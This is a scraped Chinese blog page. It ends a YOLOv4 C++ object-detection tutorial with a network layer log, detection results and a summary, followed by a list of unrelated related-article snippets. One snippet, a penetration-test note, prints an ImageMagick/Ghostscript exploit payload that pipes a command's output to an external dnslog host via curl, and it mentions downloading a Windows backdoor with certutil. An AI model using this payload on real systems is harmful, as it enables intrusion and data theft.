x 256 ->   36 x  36 x 256 1.529 BF64 Shortcut Layer: 61,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF65 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF66 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF67 Shortcut Layer: 64,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF68 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF69 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF70 Shortcut Layer: 67,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF71 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF72 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF73 Shortcut Layer: 70,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF74 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF75 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF76 Shortcut Layer: 73,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF77 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF78 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF79 Shortcut Layer: 76,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF80 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF81 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF82 Shortcut Layer: 79,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF83 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF84 route  83 56 	                           ->   36 x  36 x 512 85 conv    512       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 512 0.679 BF86 conv   1024       3 x 3/ 2     36 x  36 x 512 ->   18 x  18 x1024 3.058 BF87 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF88 route  86 		                           ->   18 x  18 x1024 89 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF90 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF91 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF92 Shortcut Layer: 89,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF93 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF94 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF95 Shortcut Layer: 92,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF96 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF97 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF98 Shortcut Layer: 95,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF99 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF100 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF101 Shortcut Layer: 98,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF102 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF103 route  102 87 	                           ->   18 x  18 x1024 104 conv   1024       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x1024 0.679 BF105 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF106 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF107 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF108 max                5x 5/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.004 BF109 route  107 		                           ->   18 x  18 x 512 110 max                9x 9/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.013 BF111 route  107 		                           ->   18 x  18 x 512 112 max               13x13/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.028 BF113 route  112 110 108 107 	                   ->   18 x  18 x2048 114 conv    512       1 x 1/ 1     18 x  18 x2048 ->   18 x  18 x 512 0.679 BF115 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF116 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF117 conv    256       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 256 0.085 BF118 upsample                 2x    18 x  18 x 256 ->   36 x  36 x 256119 route  85 		                           ->   36 x  36 x 512 120 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF121 route  120 118 	                           ->   36 x  36 x 512 122 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF123 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF124 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF125 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF126 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF127 conv    128       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 128 0.085 BF128 upsample                 2x    36 x  36 x 128 ->   72 x  72 x 128129 route  54 		                           ->   72 x  72 x 256 130 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF131 route  130 128 	                           ->   72 x  72 x 256 132 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF133 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF134 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF135 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF136 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF137 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF138 conv    255       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 255 0.677 BF139 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.20
nms_kind: greedynms (1), beta = 0.600000 140 route  136 		                           ->   72 x  72 x 128 141 conv    256       3 x 3/ 2     72 x  72 x 128 ->   36 x  36 x 256 0.764 BF142 route  141 126 	                           ->   36 x  36 x 512 143 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF144 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF145 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF146 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF147 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF148 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF149 conv    255       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 255 0.338 BF150 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.10
nms_kind: greedynms (1), beta = 0.600000 151 route  147 		                           ->   36 x  36 x 256 152 conv    512       3 x 3/ 2     36 x  36 x 256 ->   18 x  18 x 512 0.764 BF153 route  152 116 	                           ->   18 x  18 x1024 154 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF155 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF156 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF157 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF158 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF159 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF160 conv    255       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 255 0.169 BF161 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.05
nms_kind: greedynms (1), beta = 0.600000 
Total BFLOPS 115.293 
avg_outputs = 958892 
Loading weights from yolov4.weights...seen 64, trained: 32032 K-images (500 Kilo-batches_64) 
Done! Loaded 162 layers from weights-file 
object names loaded 
input image or video filename:  Time: 7.29136 sec 
surfboard - obj_id = 37,  x = 521, y = 517, w = 32, h = 15, prob = 0.393
surfboard - obj_id = 37,  x = 497, y = 521, w = 39, h = 10, prob = 0.255
surfboard - obj_id = 37,  x = 814, y = 567, w = 30, h = 10, prob = 0.248
kite - obj_id = 33,  x = 591, y = 79, w = 75, h = 71, prob = 0.994
kite - obj_id = 33,  x = 279, y = 235, w = 23, h = 45, prob = 0.979
kite - obj_id = 33,  x = 575, y = 343, w = 25, h = 25, prob = 0.951
kite - obj_id = 33,  x = 1082, y = 393, w = 14, h = 28, prob = 0.943
kite - obj_id = 33,  x = 464, y = 339, w = 16, h = 18, prob = 0.855
kite - obj_id = 33,  x = 300, y = 375, w = 23, h = 32, prob = 0.68
kite - obj_id = 33,  x = 760, y = 379, w = 7, h = 9, prob = 0.634
person - obj_id = 0,  x = 110, y = 610, w = 51, h = 151, prob = 0.994
person - obj_id = 0,  x = 213, y = 698, w = 53, h = 159, prob = 0.993
person - obj_id = 0,  x = 1204, y = 450, w = 9, h = 12, prob = 0.872
person - obj_id = 0,  x = 37, y = 509, w = 16, h = 51, prob = 0.871
person - obj_id = 0,  x = 345, y = 487, w = 9, h = 14, prob = 0.866
person - obj_id = 0,  x = 176, y = 539, w = 11, h = 32, prob = 0.832
person - obj_id = 0,  x = 21, y = 529, w = 14, h = 26, prob = 0.801
person - obj_id = 0,  x = 82, y = 506, w = 25, h = 57, prob = 0.697
person - obj_id = 0,  x = 518, y = 506, w = 16, h = 18, prob = 0.606
person - obj_id = 0,  x = 692, y = 462, w = 7, h = 6, prob = 0.552
person - obj_id = 0,  x = 460, y = 471, w = 7, h = 6, prob = 0.394
person - obj_id = 0,  x = 537, y = 514, w = 14, h = 17, prob = 0.381

测试图片结果
kite_yolov4_out.jpg
person_yolov4_out.jpg
supermarket_yolov4_out.jpg

总结

  在本文中,我们使用C++调用了作者在COCO数据集上的训练结果进行了图片测试,并且可以进行视频测试和网络摄像头测试(自己笔记本显卡太弱,视频跑不起来),如果我们想要自己训练数据集,仍然可以参考github,可以通过训练得到weights文件,然后按照本文所讲的进行测试。

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. pycharm的常用快捷键汇总!

    微信公众号:龙跃十二 我是小玉,一个平平无奇的小天才!小玉最近在用python练习一些代码,所以一直在寻找一个上手容易的IDE,在众多的IDE里,最终选择了最喜欢的,也是功能最强大的pycharm,但是最近的使用又发现了一些快捷键,可以说是非常便捷,所以贴心小玉上线,给大家准…...

    2024/4/24 9:39:43
  2. 挣值管理

    一、名称解释1PV :(Planed Value)计划工作的计划成本。AC :(Actual Cost)已完成工作的实际成本。EV :(Earn value )已完成工作的计划成本。二、公式(s:schedule进度 c:cost成本)偏差:减法是与0比较,除法是与1比较进度偏差 SV=EV-PV (SV>0:进度超前 SV<…...

    2024/4/24 9:39:41
  3. 支付宝手机网站支付(H5)

    步骤图:一、登录支付宝开放平台创建一个应用二、等待应用上线,同时配置沙箱需要使用支付宝官方提供的工具生成一个应用公钥复制应用公钥到沙箱设置获取支付私钥三、下载SDK&Demo(Maven项目可以直接添加依赖)1、将下载好的Demo导入到项目中2、修改AlipayConfig.java文件…...

    2024/4/24 9:39:41
  4. 利用Vue+SSM框架完成用户的查询与修改操作。

    创建项目的目录结构2.在pom.xml中导入依赖 <properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target…...

    2024/4/24 9:39:39
  5. Android kotlin DataBinding 之 unresolved reference: BR 坑

    Android kotlin DataBinding 之 unresolved reference: BR 坑由于目前kotlin开发的插件不支持跨module,所以databinding在使用apt技术BR文件时的引用没发确定目录,故造成unresolved reference:BR,那么需要kapt完成,配置如下app下build.gradleapply plugin: kotlin-kapt ka…...

    2024/5/6 2:38:54
  6. 利用余弦距离比较文档间的相似度

    一.数据说明 在进行正式的操作之前,我想对后续进行处理的数据进行说明,首先,我在新浪网上爬取了中文体育新闻网页若干并提取了对应页面中的新闻内容,然后进行了中文分词(jieba)和删除停用词操作,最后处理的结果展示如下如所示:注意:后续的操作都是在经过上述步骤处理的文…...

    2024/4/24 9:39:37
  7. 如何正确整理你的数据格式?

    数据格式,直接影响着分析结果是否准确。小编最近也收到一些关于“数据格式”的提问,不知道自己的数据应该整理成什么格式上传分析?正好在这里统一分享几种常见的数据格式,包括问卷数据、实验数据、时序数据、面板数据以及一些特殊数据格式。希望今天的文章,能够帮助你解决…...

    2024/4/15 6:05:57
  8. 虚拟机Linux网卡配置

    虚拟机Linux网卡配置 Part 1:Centos6.5 1.首先查看虚拟机的网络设置,看是否为NAT模式(必须为NAT模式否则连不上网) VMware上方菜单栏,虚拟机—设置—网络适配器2.查看/设置虚拟机ip和网关 VMware上方菜单栏,编辑—虚拟机网络编辑器 (1)查看修改虚拟机ip(2)查看网关3.…...

    2024/4/16 10:14:13
  9. css外阴影向内递减效果

    设计图:实现方法有很多种:详见思否 这里介绍最简单的设计办法:css外阴影递减方法 要点:主要是改变div下阴影的递增位置和阴影大小的递减 实例代码: .css{/* 其他不变,只是y偏移和阴影大小改变 *//* 注意,Y轴的偏转必须是2的倍数。因为参数4设置阴影少1px的时候y轴部分也…...

    2024/4/16 10:13:58
  10. 显微镜解析,简单介绍显微镜的发展过程

    显微镜的设计,生产小物体放大的视觉或照片图像的仪器。显微镜必须完成三项任务:产生样品的放大图像,图像中分离的细节,并呈现对人眼或相机可见的细节。这组仪器不仅包括多个透镜与物镜和聚光镜,但也很简单的单透镜设备,常常手持,如放大镜设计。在图1所示的显微镜是由英国…...

    2024/4/16 10:13:58
  11. 步骤详图 教你在linux搭建容器环境

    (警告:切勿在没有配置 Docker YUM 源的情况下直接使用 yum 命令安装 Docker.) 1 准备工作 系统要求 要安装Docker CE (社区版),操作系统的最低要求是CentOS7,7以下版本都不被支持。 卸载旧版本 Docker改版之前 称为 docker 或者 docker-engine,若之前安装过旧版本需要卸…...

    2024/4/20 0:16:01
  12. iPlat4J入门培训

    1、开发环境搭建 1.1 Java版本要求:1.8+首先需要验证下本机是否已经安装JDK,并且版本是否为1.8及以上。 验证操作:进入控制台输入:java -version,如果出现下图或者显示版本号不是1.8及以上就需要重新安装JDK。安装JDK点击下一步点击“更改”可以自定义安装目录,选择完安装…...

    2024/4/16 10:14:03
  13. Maven如何更新本地仓库索引(无需翻墙)

    在Settings中找到Responsitories,更新本地仓库(Local) 注意:只需要更新本地仓库索引即可,无需更新远程仓库索引如果更新失败,可以注释掉阿里云私服的仓库,如下:如果还是更新失败,可以在VM options for importer中添加以下语句 -DproxySet=true -DproxyHost=127.0.0.1 …...

    2024/4/17 23:55:59
  14. 记录一次常规的渗透测试

    首先是魔图漏洞%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%curl http://dnslog.cn/`whomai`) currentdevice putdeviceprops然后windows下载后门。方法1:certutil.e…...

    2024/4/15 6:05:50
  15. react redux在项目中的使用

    一开始我接触到redux是很懵的,看官方文档也很枯燥乏味,不理解说的什么意思,也是看过就忘,所以就结合公司的项目来熟悉一下redux。也可能有写的不对的地方,欢迎指出。一、构建reducer首先看storeConfig下的reducers.js。combineReducers函数的作用是把一个或多个的reducer结…...

    2024/4/24 9:39:37
  16. UMEX数字货币合约招商

    umex交易所的常见问题解决办法 1 umex收不到邮件如何处理? 请检查以下步骤是否存在问题 1、邮箱地址输入是否有误 ; 2、邮箱邮件是否被拦截、屏蔽;2 umex收不到短信如何处理? 您收不到短信验证码有可能是手机网络拥堵导致,请稍等30分钟再试。 另外请按以下步骤检查: 1、请…...

    2024/4/24 9:39:35
  17. 买了保险,为何得不到理赔?

    保险公司买的时候业务人员天天找,买了之后当出现理赔的时候,发现不能理赔,是不是我们白买了,上当了?今天就跟大家分享一下? 保险的功能是分散风险,基本分为几类:意外险、医疗险、大病保险、年金保险和终身寿险。 为什么买了不能理赔?大概分为以下情况 1、在等待期内出…...

    2024/4/24 9:39:34
  18. “啃米族”云米的扑朔自立路

    2013年,雷军和董明珠立下为期五年赌注10亿的赌局。虽然在五年后,董明珠险胜雷军,但是小米也从当时仅仅200亿营收暴涨到近1800亿营收。近日,雷军和董明珠提出再续赌局,用下一个五年换来中国制造业的蓬勃发展。 尽管在2018年输了赌局,但是作为一个后辈,小米取得的成就依旧…...

    2024/5/7 23:57:39
  19. 人工智能新技术:联邦学习的前世今生(下)

    导读 上篇内容回顾: 在《人工智能新技术:联邦学习的前世今生》上篇和中篇里,我们与大家一起揭开了联邦学习的神秘面纱,探索了联邦学习成为解决隐私数据保护和数据共享矛盾的关键技术背后的原因,以及联邦学习应用的前景、难点和实施方式。 本篇为您解读:密码技术的那些事儿…...

    2024/4/24 9:39:32
  20. 五分钟搞定pycharm专业版的安装

    与bug斗,其乐无穷,用pycharm一年多了,其间在不同电脑上安装过无数次,但是最近我的社区版没有flask四处查报错,蠢到暴风哭泣!!后面果断export setting 再卸载重装pycharm2020.1.1 的专业版,还是专业版的香,这里参考Jetbrains系列产品2020.1.1最新激活方法 By zhile.io …...

    2024/4/24 9:39:32

最新文章

  1. 《前端算法宝典:双指针问题解析与应用》

    双指针 双指针&#xff0c;指的是在遍历对象的过程中使用两个相同方向&#xff08;快慢指针&#xff09;或者相反方向&#xff08;对撞指针&#xff09;的指针或者是两个指针构成一个滑动窗口进行扫描&#xff0c;从而达到相应的目的。 双指针方法在某些情况下可以对有序数组…...

    2024/5/10 12:07:12
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/5/9 21:23:04
  3. 在 Visual Studio Code (VSCode) 中隐藏以 . 开头的文件

    打开VSCode。 按下Ctrl ,快捷键打开设置。您也可以点击屏幕左下角的齿轮图标&#xff0c;然后选择“Settings”。 在设置搜索框中&#xff0c;键入files.exclude。 在找到的Files: Exclude项中&#xff0c;点击Add Pattern按钮来添加一个新的模式&#xff0c;或者直接在搜索…...

    2024/5/9 14:31:05
  4. 6.9物联网RK3399项目开发实录-驱动开发之PWM的使用(wulianjishu666)

    嵌入式实战开发例程&#xff0c;珍贵资料&#xff0c;开发必备&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1149x7q_Yg6Zb3HN6gBBAVA?pwdhs8b PWM 使用 前言 AIO-3399J 开发板上有 4 路 PWM 输出&#xff0c;分别为 PWM0 ~ PWM3&#xff0c;4 路 PWM 分别使用在…...

    2024/5/10 10:04:29
  5. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/8 6:01:22
  6. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/5/9 15:10:32
  7. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/5/4 23:54:56
  8. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/9 4:20:59
  9. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/5/4 23:54:56
  10. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/5/4 23:55:05
  11. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/5/4 23:54:56
  12. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/5/7 11:36:39
  13. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/5/4 23:54:56
  14. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/5/6 1:40:42
  15. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/5/4 23:54:56
  16. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/5/8 20:48:49
  17. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/5/7 9:26:26
  18. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/5/4 23:54:56
  19. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/8 19:33:07
  20. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/5/5 8:13:33
  21. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/5/8 20:38:49
  22. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/5/4 23:54:58
  23. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/10 10:22:18
  24. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/5/9 17:11:10
  25. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下&#xff1a;1、长按电脑电源键直至关机&#xff0c;然后再按一次电源健重启电脑&#xff0c;按F8健进入安全模式2、安全模式下进入Windows系统桌面后&#xff0c;按住“winR”打开运行窗口&#xff0c;输入“services.msc”打开服务设置3、在服务界面&#xff0c;选中…...

    2022/11/19 21:17:18
  26. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像&#xff08;每一幅图像的大小是564*564&#xff09; f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  27. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面&#xff0c;在等待界面中我们需要等待操作结束才能关机&#xff0c;虽然这比较麻烦&#xff0c;但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  28. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows&#xff0c;请勿关闭计算机”的提示&#xff0c;要过很久才能进入系统&#xff0c;有的用户甚至几个小时也无法进入&#xff0c;下面就教大家这个问题的解决方法。第一种方法&#xff1a;我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  29. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题&#xff0c;电脑时发现开机屏幕显现“正在配置Windows Update&#xff0c;请勿关机”(如下图所示)&#xff0c;而且还需求等大约5分钟才干进入系统。这是怎样回事呢&#xff1f;一切都是正常操作的&#xff0c;为什么开时机呈现“正…...

    2022/11/19 21:17:13
  30. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

